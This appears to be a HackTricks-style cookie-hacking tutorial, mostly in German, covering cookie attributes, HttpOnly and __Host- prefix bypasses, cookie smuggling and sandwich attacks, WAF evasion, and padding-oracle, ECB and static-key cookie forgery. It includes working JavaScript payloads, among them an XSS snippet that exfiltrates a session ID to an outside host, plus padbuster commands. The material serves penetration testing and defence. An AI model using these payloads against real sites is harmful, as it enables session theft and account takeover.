Cookies Hacking

Reading time: 21 minutes

Cookie Attributes

Cookies haben mehrere Attribute, die ihr Verhalten im Browser des Benutzers steuern. Hier ist eine Übersicht über diese Attribute in einer passiveren Form:

Expires and Max-Age

Das Ablaufdatum eines Cookies wird durch das Attribut Expires bestimmt. Das Attribut Max-age legt dagegen die Zeit in Sekunden fest, bis ein Cookie gelöscht wird. Verwenden Sie Max-age, da es moderneren Praktiken entspricht.

Domain

Die Hosts, die ein Cookie erhalten sollen, werden durch das Attribut Domain festgelegt. Standardmäßig ist dies der Host, der das Cookie gesetzt hat, ohne seine Subdomains einzuschließen. Wird das Attribut Domain jedoch explizit gesetzt, schließt es auch Subdomains ein. Dadurch ist die Angabe von Domain eine weniger restriktive Option und nützlich, wenn Cookies über Subdomains hinweg geteilt werden sollen. Beispielsweise macht Domain=mozilla.org Cookies auf Subdomains wie developer.mozilla.org zugänglich.

Path

Das Attribut Path gibt einen spezifischen URL-Pfad an, der in der angeforderten URL vorhanden sein muss, damit der Cookie-Header gesendet wird. Dieses Attribut betrachtet das Zeichen / als Verzeichnis-Trenner, wodurch auch Übereinstimmungen in Unterverzeichnissen möglich sind.

Ordering Rules

Wenn zwei Cookies denselben Namen haben, wird für das Senden das Cookie ausgewählt, das auf Folgendem basiert:

• Das Cookie, dessen Path am längsten mit der angeforderten URL übereinstimmt.
• Das zuletzt gesetzte Cookie, wenn die Paths identisch sind.

SameSite

• Das Attribut SameSite legt fest, ob Cookies bei Anfragen von Drittanbieter-Domains gesendet werden. Es bietet drei Einstellungen:
• Strict: Verhindert, dass das Cookie bei Anfragen von Drittanbieter-Domains gesendet wird.
• Lax: Erlaubt das Cookie bei GET-Anfragen, die von Drittwebsites initiiert wurden.
• None: Erlaubt, dass das Cookie von jeder Drittanbieter-Domain gesendet wird.

Beim Konfigurieren von Cookies hilft das Verständnis dieser Attribute, sicherzustellen, dass sie sich in unterschiedlichen Szenarien wie erwartet verhalten.

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Beachte, dass temporär, nach Anwendung dieser Änderung, die Cookies ohne eine SameSite Policy in Chrome für die ersten 2 Minuten als None behandelt und danach für top-level cross-site POST requests als Lax behandelt werden.

Cookies Flags

HttpOnly

Dies verhindert, dass der Client auf das Cookie zugreift (z. B. via Javascript: document.cookie)

Bypasses

• Wenn die Seite die Cookies als Antwort auf eine Anfrage sendet (z. B. auf einer PHPinfo-Seite), kann XSS missbraucht werden, um eine Anfrage an diese Seite zu senden und die Cookies aus der Antwort zu stehlen (siehe ein Beispiel unter https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Dies könnte mit TRACE HTTP-Anfragen umgangen werden, da die Antwort des Servers (falls diese HTTP-Methode verfügbar ist) die gesendeten Cookies reflektiert. Diese Technik heißt Cross-Site Tracking.
• Moderne Browser verhindern diese Technik, indem sie das Senden von TRACE-Anfragen aus JS nicht erlauben. Allerdings wurden für bestimmte Software Umgehungen gefunden, z. B. durch Senden von \r\nTRACE anstelle von TRACE an IE6.0 SP2.
• Eine weitere Möglichkeit ist die Ausnutzung von Zero/Day-Schwachstellen in Browsern.
• Es ist möglich, HttpOnly-Cookies zu überschreiben, indem ein Cookie Jar overflow attack durchgeführt wird:

Cookie Jar Overflow

• Es ist möglich, einen Cookie Smuggling-Angriff zu verwenden, um diese Cookies zu exfiltrieren
• Wenn ein serverseitiger Endpunkt die rohe Session-ID in der HTTP-Antwort wiedergibt (z. B. innerhalb von HTML-Kommentaren oder einem Debug-Block), kann HttpOnly umgangen werden, indem ein XSS-Gadget verwendet wird, um diesen Endpunkt abzurufen, das Secret per Regex zu extrahieren und zu exfiltrieren. Beispiel XSS payload pattern:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Die Anfrage sendet das Cookie nur, wenn die HTTP-Anfrage über einen sicheren Kanal übertragen wird (typischerweise HTTPS).

Cookie-Präfixe

Cookies, die mit __Secure- vorangestellt sind, müssen zusammen mit dem secure-Flag von Seiten gesetzt werden, die durch HTTPS gesichert sind.

Für Cookies, die mit __Host- vorangestellt sind, müssen mehrere Bedingungen erfüllt sein:

• Sie müssen mit dem secure-Flag gesetzt werden.
• Sie müssen von einer durch HTTPS gesicherten Seite stammen.
• Es ist ihnen untersagt, eine Domain anzugeben, wodurch ihre Übertragung an Subdomains verhindert wird.
• Der Pfad für diese Cookies muss auf / gesetzt sein.

Es ist wichtig zu beachten, dass Cookies mit dem Präfix __Host- nicht an Superdomains oder Subdomains gesendet werden dürfen. Diese Einschränkung hilft, Anwendungscookies zu isolieren. Daher kann die Verwendung des Präfixes __Host- für alle Anwendungscookies als gute Praxis angesehen werden, um Sicherheit und Isolation zu verbessern.

Überschreiben von Cookies

Eine der Schutzmaßnahmen für mit __Host- vorangestellte Cookies besteht also darin, zu verhindern, dass sie von Subdomains überschrieben werden. Dadurch werden beispielsweise Cookie Tossing attacks verhindert. In dem Vortrag Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) wird gezeigt, dass es möglich war, __HOST- vorangestellte Cookies von einer Subdomain aus zu setzen, indem man den Parser täuscht, z. B. indem man "=" am Anfang oder sowohl am Anfang als auch am Ende hinzufügt...:

Oder in PHP war es möglich, andere Zeichen am Anfang des Cookie-Namens hinzuzufügen, die durch Unterstriche ersetzt wurden, wodurch __HOST- Cookies überschrieben werden konnten:

Unicode whitespace cookie-name smuggling (prefix forgery)

Missbrauch von Inkongruenzen zwischen Browser- und Server-Parsing, indem ein Unicode-Whitespace-Codepunkt an den Anfang des Cookie-Namens gesetzt wird. Der Browser betrachtet den Namen dann nicht als buchstäblichen Beginn mit __Host-/__Secure-, sodass das Setzen von einer Subdomain aus erlaubt ist. Wenn das Backend führende Unicode-Whitespace-Zeichen bei Cookie-Schlüsseln trimmt/normalisiert, sieht es den geschützten Namen und kann das hochprivilegierte Cookie überschreiben.

• PoC von einer Subdomain, die Cookies der übergeordneten Domain setzen kann:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Typisches Backend-Verhalten, das das Problem ermöglicht:

• Frameworks, die cookie keys trimmen/normalisieren. In Django entfernt Python’s str.strip() eine große Bandbreite an Unicode-Whitespace-Codepunkten, wodurch der Name zu __Host-name normalisiert wird.

• Häufig getrimmte Codepunkte beinhalten: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Viele Frameworks behandeln doppelte Cookie-Namen nach dem Prinzip „last wins“, sodass der vom Angreifer kontrollierte normalisierte Cookie-Wert den legitimen überschreibt.

• Browser-Unterschiede spielen eine Rolle:

• Safari blockiert mehrbyte Unicode-Whitespace in Cookie-Namen (z. B. lehnt U+2000 ab), erlaubt aber weiterhin die einbyte U+0085 und U+00A0, die viele Backends trimmen. Über mehrere Browser hinweg testen.

• Auswirkungen: Ermöglicht das Überschreiben von __Host-/__Secure- Cookies aus weniger vertrauenswürdigen Kontexten (Subdomains), was zu XSS (bei Reflektion), CSRF-Token-Override und session fixation führen kann.

• On-the-wire vs server view example (U+2000 present in name):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Viele Backends split/parse und trimmen dann, wodurch das normalisierte __Host-name den Wert des Angreifers annimmt.

Legacy $Version=1 cookie splitting on Java backends (prefix bypass)

Einige Java-Stacks (z. B. Tomcat/Jetty-style) aktivieren weiterhin legacy RFC 2109/2965 parsing, wenn der Cookie header mit $Version=1 beginnt. Das kann dazu führen, dass der Server eine einzelne Cookie-Zeichenkette als mehrere logische cookies interpretiert und einen gefälschten __Host- Eintrag akzeptiert, der ursprünglich von einer Subdomain oder sogar über einen unsicheren Ursprung gesetzt wurde.

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Warum es funktioniert:

• Client-side prefix checks gelten während des Setzens, aber serverseitiges Legacy-Parsing splittet und normalisiert später den Header, wodurch die Absicht der __Host-/__Secure- Prefix-Garantien umgangen wird.

• Wo testen: Tomcat, Jetty, Undertow oder Frameworks, die weiterhin RFC 2109/2965 Attribute respektieren. Mit Duplicate-Name-Overwrite-Semantik kombinieren.

Duplicate-Name 'last-wins' Überschreibungsprimitive

Wenn zwei Cookies auf denselben Namen normalisieren, verwenden viele Backends (inklusive Django) das zuletzt auftretende. Nachdem Smuggling/Legacy-Splitting zwei __Host-* Namen erzeugt hat, gewinnt typischerweise der vom Angreifer kontrollierte Eintrag.

Erkennung und Tools

Nutze Burp Suite, um diese Bedingungen zu prüfen:

• Probiere mehrere führende Unicode-Whitespace-Codepunkte: U+2000, U+0085, U+00A0 und beobachte, ob das Backend trimmt und den Namen als mit Präfix behandelt.
• Sende $Version=1 zuerst im Cookie header und prüfe, ob das Backend Legacy-Splitting/Normalisierung durchführt.
• Beobachte die Duplicate-Name-Auflösung (first vs last wins), indem du zwei Cookies injizierst, die auf denselben Namen normalisieren.
• Burp Custom Action zur Automatisierung: CookiePrefixBypass.bambda

Tipp: Diese Techniken nutzen die octet-vs-string Lücke in RFC 6265 aus: Browser senden Bytes; Server decodieren und können normalisieren/trimmen. Unterschiede in Dekodierung und Normalisierung sind der Kern des Bypass.

Cookie-Angriffe

Wenn ein custom Cookie sensitive Daten enthält, überprüfe es (besonders wenn du an einem CTF teilnimmst), da es verwundbar sein könnte.

Decoding and Manipulating Cookies

Sensitive Daten, die in Cookies eingebettet sind, sollten immer genau untersucht werden. In Base64 oder ähnlichen Formaten codierte Cookies können oft dekodiert werden. Diese Schwachstelle erlaubt es Angreifern, den Inhalt des Cookies zu verändern und sich durch erneutes Encoden ihrer modifizierten Daten als andere Benutzer auszugeben.

Session Hijacking

Dieser Angriff beinhaltet das Stehlen eines Benutzer-Cookies, um unautorisierten Zugriff auf dessen Konto in einer Anwendung zu erlangen. Durch die Verwendung des gestohlenen Cookies kann ein Angreifer den legitimen Benutzer impersonifizieren.

Session Fixation

In diesem Szenario bringt ein Angreifer ein Opfer dazu, einen spezifischen Cookie beim Einloggen zu verwenden. Wenn die Anwendung beim Login keinen neuen Cookie ausgibt, kann der Angreifer, der den ursprünglichen Cookie besitzt, das Opfer impersonifizieren. Diese Technik setzt voraus, dass das Opfer sich mit dem vom Angreifer gelieferten Cookie einloggt.

Wenn du eine XSS in einer Subdomain gefunden hast oder du eine Subdomain kontrollierst, lies:

Cookie Tossing

Session Donation

Hierüber überzeugt der Angreifer das Opfer, den Session-Cookie des Angreifers zu benutzen. Das Opfer, in dem Glauben, in seinem eigenen Konto eingeloggt zu sein, führt unwissentlich Aktionen im Kontext des Accounts des Angreifers aus.

Wenn du eine XSS in einer Subdomain gefunden hast oder du eine Subdomain kontrollierst, lies:

Cookie Tossing

JWT Cookies

Klicke auf den vorherigen Link, um eine Seite zu erreichen, die mögliche Schwachstellen in JWT erklärt.

JSON Web Tokens (JWT), die in Cookies verwendet werden, können ebenfalls Schwachstellen aufweisen. Für ausführliche Informationen zu möglichen Fehlern und wie man sie ausnutzt, wird empfohlen, das verlinkte Dokument zum Hacking von JWT zu lesen.

Cross-Site Request Forgery (CSRF)

Dieser Angriff zwingt einen eingeloggten Benutzer dazu, unerwünschte Aktionen auf einer Webanwendung auszuführen, in der er aktuell authentifiziert ist. Angreifer können Cookies ausnutzen, die bei jeder Anfrage an die verwundete Seite automatisch mitgeschickt werden.

Empty Cookies

(Check further details in theoriginal research) Browser erlauben die Erstellung von Cookies ohne Namen, was sich durch JavaScript wie folgt demonstrieren lässt:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Das Ergebnis im gesendeten cookie header ist a=v1; test value; b=v2;. Interessanterweise erlaubt dies die Manipulation von cookies, wenn ein cookie mit leerem Namen gesetzt wird, und ermöglicht es potenziell, andere cookies zu kontrollieren, indem man das leere cookie auf einen bestimmten Wert setzt:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Das führt dazu, dass der Browser einen cookie header sendet, der von jedem Webserver als cookie mit dem Namen a und dem Wert b interpretiert wird.

Chrome Bug: Problem mit Unicode-Surrogat-Codepoints

In Chrome, wenn ein Unicode-Surrogat-Codepunkt Teil eines set cookie ist, wird document.cookie beschädigt und liefert anschließend einen leeren String zurück:

document.cookie = "\ud800=meep"

Dies führt dazu, dass document.cookie eine leere Zeichenkette ausgibt, was auf eine dauerhafte Korruption hinweist.

Cookie Smuggling Due to Parsing Issues

(Weitere Details siehe dieoriginal research) Mehrere Webserver, darunter solche für Java (Jetty, TomCat, Undertow) und Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), verarbeiten cookie-Strings aufgrund veralteter RFC2965-Unterstützung fehlerhaft. Sie lesen einen doppelt in Anführungszeichen gesetzten cookie-Wert als einen einzigen Wert, selbst wenn er Semikolons enthält, die normalerweise Schlüssel-Wert-Paare trennen sollten:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Die fehlerhafte Parsing-Logik von cookies durch Server, namentlich Undertow, Zope und solche, die Pythons http.cookie.SimpleCookie und http.cookie.BaseCookie verwenden, schafft Möglichkeiten für cookie-injection-Angriffe. Diese Server trennen den Beginn neuer cookies nicht korrekt ab, wodurch Angreifer cookies spoofen können:

• Undertow erwartet ein neues cookie unmittelbar nach einem quoted value ohne Semikolon.
• Zope sucht nach einem Komma, um das nächste cookie zu parsen.
• Pythons cookie-Klassen beginnen das Parsen bei einem Leerzeichen.

Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basierendem CSRF-Schutz beruhen, da sie Angreifern ermöglicht, gefälschte CSRF-token-cookies einzuschleusen und damit Schutzmaßnahmen zu umgehen. Das Problem verschärft sich durch Pythons Umgang mit doppelten Cookie-Namen, bei dem das letzte Vorkommen frühere überschreibt. Außerdem wirft es Bedenken für __Secure- und __Host- cookies in unsicheren Kontexten auf und kann zu Autorisierungsumgehungen führen, wenn cookies an Back-End-Server weitergereicht werden, die für Spoofing anfällig sind.

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

Cookie Sandwich Attack

According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

• Finde eine Stelle, an der ein scheinbar nutzloser cookie in der Response reflektiert wird
• Create a cookie called $Version with value 1 (you can do this in a XSS attack from JS) mit einem spezifischeren path, damit es die initiale Position erhält (einige Frameworks wie python benötigen diesen Schritt nicht)
• Create the cookie that is reflected mit einem Wert, der ein offenes doppeltes Anführungszeichen hinterlässt, und mit einem spezifischen path, sodass es in der cookie-db nach dem vorherigen cookie ($Version) positioniert wird
• Dann folgt das legitime cookie in der Reihenfolge
• Create a dummy cookie that closes the double quotes innerhalb seines Werts

Auf diese Weise wird das victim cookie in der neuen cookie-Version 1 eingeschlossen und bei jeder Reflektion mitreflektiert. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Siehe vorherigen Abschnitt.

Bypassing value analysis with quoted-string encoding

Dieses Parsing weist darauf hin, escaped Werte innerhalb der Cookies zu unescapen, so dass "\a" zu "a" wird. Das kann nützlich sein, um WAFS zu umgehen, z. B.:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

Im RFC2109 ist angegeben, dass ein Komma als Trenner zwischen Cookie-Werten verwendet werden kann. Außerdem ist es möglich, Leerzeichen und Tabs vor und nach dem Gleichheitszeichen hinzuzufügen. Deshalb erzeugt ein Cookie wie $Version=1; foo=bar, abc = qux nicht das Cookie "foo":"bar, admin = qux" sondern die Cookies foo":"bar" und "admin":"qux". Beachte, wie zwei Cookies erzeugt werden und wie bei admin das Leerzeichen vor und nach dem Gleichheitszeichen entfernt wurde.

Bypassing value analysis with cookie splitting

Schließlich würden verschiedene backdoors in einer Zeichenkette unterschiedliche Cookies zusammenfügen, die in unterschiedlichen Cookie-Headern übergeben wurden, wie in:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Was es ermöglichen könnte, eine WAF wie in diesem Beispiel zu umgehen:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Zusätzliche Prüfungen für verwundbare Cookies

Grundlegende Prüfungen

• Das cookie ist bei jedem login gleich.
• Ausloggen und versuchen, dasselbe cookie zu verwenden.
• Versuche, dich mit 2 Geräten (oder Browsern) beim selben account einzuloggen und dasselbe cookie zu verwenden.
• Prüfe, ob das cookie irgendwelche Informationen enthält, und versuche, es zu modifizieren.
• Versuche, mehrere accounts mit fast identischem username zu erstellen und prüfe, ob du Ähnlichkeiten erkennen kannst.
• Prüfe die "remember me"-Option, falls vorhanden, um zu sehen, wie sie funktioniert. Falls sie existiert und verwundbar sein könnte, verwende immer nur das cookie von remember me ohne ein anderes cookie.
• Prüfe, ob das vorherige cookie noch funktioniert, nachdem du das Passwort geändert hast.

Fortgeschrittene Cookie-Angriffe

Wenn das cookie beim Einloggen gleich bleibt (oder fast gleich), bedeutet das wahrscheinlich, dass das cookie mit einem Feld deines accounts verknüpft ist (wahrscheinlich dem username). Dann kannst du:

• Versuche, viele accounts mit sehr ähnlichen usernames zu erstellen und zu erraten, wie der Algorithmus funktioniert.
• Versuche, den username per bruteforce zu ermitteln. Wenn das cookie nur als Authentifizierungsmethode für deinen username dient, kannst du ein account mit dem username "Bmin" erstellen und jedes einzelne bit deines cookie per bruteforce testen, weil eines der cookies, die du ausprobieren wirst, das des admin ist.
• Probiere Padding Oracle aus (du kannst den Inhalt des cookie entschlüsseln). Verwende padbuster.

Padding Oracle - Padbuster Beispiele

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster wird mehrere Versuche durchführen und dich fragen, welche Bedingung die Fehlerbedingung ist (diejenige, die nicht gültig ist).

Dann beginnt es, den cookie zu entschlüsseln (das kann mehrere Minuten dauern)

Wenn der Angriff erfolgreich durchgeführt wurde, könntest du versuchen, eine Zeichenkette deiner Wahl zu encrypt. Zum Beispiel, wenn du encrypt user=administrator möchtest.

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

This execution will give you the cookie correctly encrypted and encoded with the string user=administrator inside.

CBC-MAC

Möglicherweise könnte ein Cookie einen Wert enthalten und mit CBC signiert werden. Dann ist die Integrität des Werts die Signatur, die durch die Verwendung von CBC mit demselben Wert erzeugt wird. Da empfohlen wird, als IV einen Nullvektor zu verwenden, könnte diese Art der Integritätsprüfung verwundbar sein.

The attack

1. Hole die Signatur des Benutzernamens administ = t
2. Hole die Signatur des Benutzernamens rator\x00\x00\x00 XOR t = t'
3. Setze im Cookie den Wert administrator+t' (t' wird eine gültige Signatur von (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 sein)

ECB

If the cookie is encrypted using ECB it could be vulnerable.
When you log in the cookie that you receive has to be always the same.

How to detect and attack:

Erstelle 2 Nutzer mit nahezu identischen Daten (username, password, email, etc.) und versuche, ein Muster im vergebenen Cookie zu entdecken.

Erstelle einen Nutzer namens zum Beispiel "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und prüfe, ob es ein Muster im Cookie gibt (da ECB jeden Block mit demselben Key verschlüsselt, könnten die gleichen verschlüsselten Bytes erscheinen, wenn der username verschlüsselt wird).

Es sollte ein Muster geben (mit der Größe eines verwendeten Blocks). Wenn du also weißt, wie eine Menge von "a" verschlüsselt wird, kannst du einen Benutzernamen erstellen: "a"*(size of the block)+"admin". Dann könntest du das verschlüsselte Muster eines Blocks mit "a" aus dem Cookie entfernen. Und du hättest das Cookie für den Benutzernamen "admin".

Static-key cookie forgery (symmetric encryption of predictable IDs)

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

• Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
• Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
• Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
• Set the forged value directly as the cookie and browse; no credentials are needed.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Referenzen

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda